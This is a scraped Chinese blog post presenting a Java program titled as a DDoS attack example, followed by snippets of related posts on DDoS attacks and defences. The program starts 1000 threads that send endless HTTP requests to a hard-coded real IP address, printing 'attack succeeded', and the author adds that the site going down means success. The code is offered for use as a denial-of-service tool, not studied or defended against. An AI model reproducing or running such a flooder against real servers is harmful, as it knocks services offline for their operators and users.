关闭

java 使用线程池做DDOS 攻击示例

2216人阅读 评论(0) 收藏 举报
分类:
public class DDos {
    public static void main(String[] args) {
        ExecutorService es = Executors.newFixedThreadPool(1000);
        Mythread mythread = new Mythread();
        Thread thread = new Thread(mythread);
        for (int i = 0; i < 10000; i++) {
            es.execute(thread);
        }
    }
}

class Mythread implements Runnable {
    public void run() {
        while (true) {
            try {
                URL url = new URL("http://221.232.148.51/guojibu/");
                
                URLConnection conn = url.openConnection();
                System.out.println("发包成功!");
                BufferedInputStream bis = new BufferedInputStream(
                        conn.getInputStream());
                byte[] bytes = new byte[1024];
                int len = -1;
                StringBuffer sb = new StringBuffer();

                if (bis != null) {
                    if ((len = bis.read()) != -1) {
                        sb.append(new String(bytes, 0, len));
                        System.out.println("攻击成功!");
                        bis.close();
                    }
                }
            } catch (MalformedURLException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            } catch (IOException e) {
                // TODO Auto-generated catch block
                e.printStackTrace();
            }

        }
    }
}

网站打不开就是攻击成功了

0
0
查看评论

DDOs攻击-Java实现

分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。通常,攻击者使用一个偷窃帐号将DDoS主控程序安装在一个计算机上,在一个设定的时间...
  • umgsai
  • umgsai
  • 2016-02-04 11:07
  • 3868

(转)apache 防止DDOS攻击的几个方法

一: 来自http://www.inetbase.com/scripts/的ddos脚本。这套脚本的开发初衷就是为了防止ddos攻击,它周期性运行(比如每隔一秒),每次运行时使用netstat命令记录下当前的网络连接情况,从记录的数据中筛选出客户机的IP并统计出每个客户IP的连接数,将连接数与设定的...
  • jackyrongvip
  • jackyrongvip
  • 2013-07-01 17:35
  • 2932

JavaLOIC DDOS

  • 2016-01-28 02:32
  • 846KB
  • 下载

java 使用线程池做DDOS 攻击示例

public class DDos { public static void main(String[] args) { ExecutorService es = Executors.newFixedThreadPool(1000); Mythread myt...
  • a2274335673
  • a2274335673
  • 2016-08-31 15:44
  • 2216

如何通过代理服务器发动DDoS攻击

提到DDoS攻击,大家会觉得很难,自己没有“肉鸡”(也称傀儡电脑),怎么发动得了?其实还有一种超级简单的办法,就算你一台“肉鸡”都没有,也可以发动DDoS攻击,不信?请看下文。  邻居老张自从建立了自己的网站后,大半空闲时间都耗费到上面了,来我家串门的次数也少了,就算来了话题都离不开他的“宝贝”——...
  • u013468790
  • u013468790
  • 2014-02-28 15:10
  • 982

DOS攻击与DDOS

DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。 DDOS就是控制多台电脑对同一目标进行DOS攻击。DDOS是英文Distributed Denia...
  • u012861978
  • u012861978
  • 2016-10-17 13:22
  • 1209

Java技术面试答案(汇总版)

1.面向对象和面向过程的区别 面向过程 优点:性能比面向对象高,因为类调用时需要实例化,开销比较大,比较消耗资源;比如单片机、嵌入式开发、Linux/Unix等一般采用面向过程开发,性能是最重要的因素。 缺点:没有面向对象易维护、易复用、易扩展 面向对象 优点:易维护、易复用、易扩展,由于面向对象有...
  • einstein10147
  • einstein10147
  • 2017-08-10 10:38
  • 1981

JAVA上百实例源码以及开源项目源代码

  • 2016-01-03 17:54
  • 68B
  • 下载

c#编写的ddos源码

tcp协议是3次握手的方式连接的,第一次客户机向服务器发送一个标志为syn的数据包,这个数据包的tcp部分有个16位随即序列号,而且ip部分和tcp部分各有一个校验码,发送出去只有校验码正确才会视为合法的数据包,然后如果那个机器那个端口有服务器,比如http服务,就会把序列号+1,然后再生成一个16...
  • ZOU_SEAFARER
  • ZOU_SEAFARER
  • 2011-02-25 21:42
  • 2508

经历锲而不舍的DDOS攻击

从昨晚的18:50分开始,每隔30分钟左右进行10G流量的ddos攻击,实在没招,只能使用阿里云的高防IP来防御。                主要的攻击是:      趁此...
  • hguisu
  • hguisu
  • 2017-04-28 14:58
  • 14047
    个人资料
    • 访问:47510次
    • 积分:966
    • 等级:
    • 排名:千里之外
    • 原创:46篇
    • 转载:25篇
    • 译文:1篇
    • 评论:4条
    文章分类
    最新评论